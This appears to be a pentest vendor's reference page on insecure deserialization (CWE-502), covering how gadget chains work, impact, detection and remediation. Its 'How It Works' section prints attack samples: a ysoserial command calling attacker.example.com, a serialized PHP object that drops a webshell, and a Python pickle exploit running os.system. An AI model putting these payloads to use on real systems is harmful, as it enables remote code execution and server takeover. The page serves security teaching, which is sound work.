SecureBlockLog inStart a pentest
Vulnerability Repository
CriticalInjection

Insecure Deserialization

Deserializing attacker-controlled data without integrity checks enables remote code execution, authentication bypass, and object injection attacks.

CVSS 9.8CWE CWE-502OWASP A08:2021 — Software and Data Integrity Failures

Description

Serialization converts objects to a storable or transmittable byte stream; deserialization reconstructs objects from that stream. Insecure deserialization occurs when an application deserializes data supplied by an attacker without verifying its integrity or type safety. In languages with rich object systems—Java, PHP, Python, Ruby—the deserialization process itself can instantiate arbitrary classes and invoke methods, allowing attackers to trigger code execution before any application-level validation runs.

CWE-502 (Deserialization of Untrusted Data) is one of the most severe vulnerability classes because exploitation does not require finding a flaw in application logic—the vulnerability is in the deserialization mechanism itself. A08:2021 Software and Data Integrity Failures covers this pattern: the application makes integrity assumptions about data it did not generate and does not control.

Attack surfaces include Java objects in cookies or session tokens (serialized with ObjectInputStream), PHP unserialize() calls on user input, Python pickle objects in message queues or cookies, Ruby Marshal.load in API responses, and YAML deserialization in configuration-processing endpoints. The infamous Apache Struts vulnerability (CVE-2017-5638) that caused the Equifax breach involved a related deserialization-adjacent code execution path.

How It Works

Java deserialization gadget chains are the most well-documented vector. An application that stores session state as a Base64-encoded serialized Java object in a cookie is vulnerable if the classpath contains a library with a known gadget chain (Commons Collections, Spring Framework, etc.):

GET /dashboard HTTP/1.1
Host: example.com
Cookie: session=rO0ABXNyABFqYXZhLnV0aWwuSGFzaE1hcACpKD...

The rO0AB Base64 prefix decodes to the Java serialization magic bytes 0xAC 0xED 0x00 0x05. An attacker uses ysoserial to generate a payload that executes a command when deserialized:

# Generate a payload using the CommonsCollections6 gadget chain
java -jar ysoserial.jar CommonsCollections6 'curl attacker.example.com/rce' | base64 -w0

# Send the payload in the cookie
curl -s https://example.com/dashboard \
  -H "Cookie: session=<base64_payload>"

PHP object injection exploits __wakeup() and __destruct() magic methods:

// Vulnerable application code
$data = unserialize($_COOKIE['user_prefs']);

// Attacker crafts a serialized object where __destruct() writes a webshell
// O:8:"FileWrite":2:{s:4:"name";s:13:"/var/www/shell.php";s:4:"data";s:28:"<?php system($_GET['cmd']); ?>";}

Python pickle deserialization is trivially exploitable—the __reduce__ method executes arbitrary code on load:

import pickle, os

class Exploit(object):
    def __reduce__(self):
        return (os.system, ('id > /tmp/pwned',))

payload = pickle.dumps(Exploit())
# Send as Base64 in any field that is pickle-deserialized

Impact

  • Remote code execution — Gadget chain exploitation executes arbitrary OS commands on the server with the application's process privileges.
  • Authentication bypass — Object injection manipulates deserialized session objects to impersonate other users or escalate privileges.
  • Server-side request forgery — Deserialized payloads trigger HTTP requests from the server to internal services.
  • Denial of service — Malformed serialized objects cause exceptions or infinite loops that crash application processes.
  • Complete system compromise — Combined with the application's cloud metadata access, RCE leads to cloud credential theft and lateral movement.

Detection

  1. Identify serialized data in cookies, request bodies, HTTP headers, and WebSocket messages by looking for Java (rO0AB), PHP (O:/a:), Python pickle (\x80\x02), and Ruby Marshal (\x04\x08) magic bytes.
  2. Use ysoserial against Java endpoints to test whether known gadget chains (CommonsCollections, Spring, Groovy) are present and exploitable.
  3. Run gadgetinspector against Java application JARs to enumerate custom gadget chains present in the application's specific classpath.
  4. Search the codebase for unserialize, pickle.loads, Marshal.load, ObjectInputStream, and YAML.load (PyYAML's unsafe loader) calls that receive user-controlled input.
  5. Use Burp Suite's Java Deserialization Scanner extension to automatically fingerprint Java serialization endpoints and test for known gadget chains.
  6. Test PHP endpoints for unserialize() by injecting malformed serialized strings and observing whether the application returns PHP error messages that reveal class names.

Remediation

Avoid deserializing untrusted data. The safest remediation is to replace serialization with a data format that cannot instantiate objects, such as JSON or Protocol Buffers, for all externally supplied data.

Implement integrity checking. Sign serialized data with an HMAC before storing or transmitting it. Verify the signature before deserialization and reject unsigned or invalid data:

// Sign before storing
String serialized = base64(serialize(obj));
String hmac = hmacSHA256(SECRET_KEY, serialized);
storeCookie(serialized + "." + hmac);

// Verify before deserializing
String[] parts = cookie.split("\\.");
if (!hmacSHA256(SECRET_KEY, parts[0]).equals(parts[1])) {
    throw new SecurityException("Invalid signature");
}

Use deserialization filters. Java 9+ provides ObjectInputFilter to allowlist classes that may be deserialized. Configure strict allowlists containing only expected types.

Use safe YAML parsers. Replace PyYAML's yaml.load() with yaml.safe_load(), and in Ruby use Psych.safe_load instead of YAML.load.

Ready when you are
Scope a pentest in the next two minutes.
Start scoping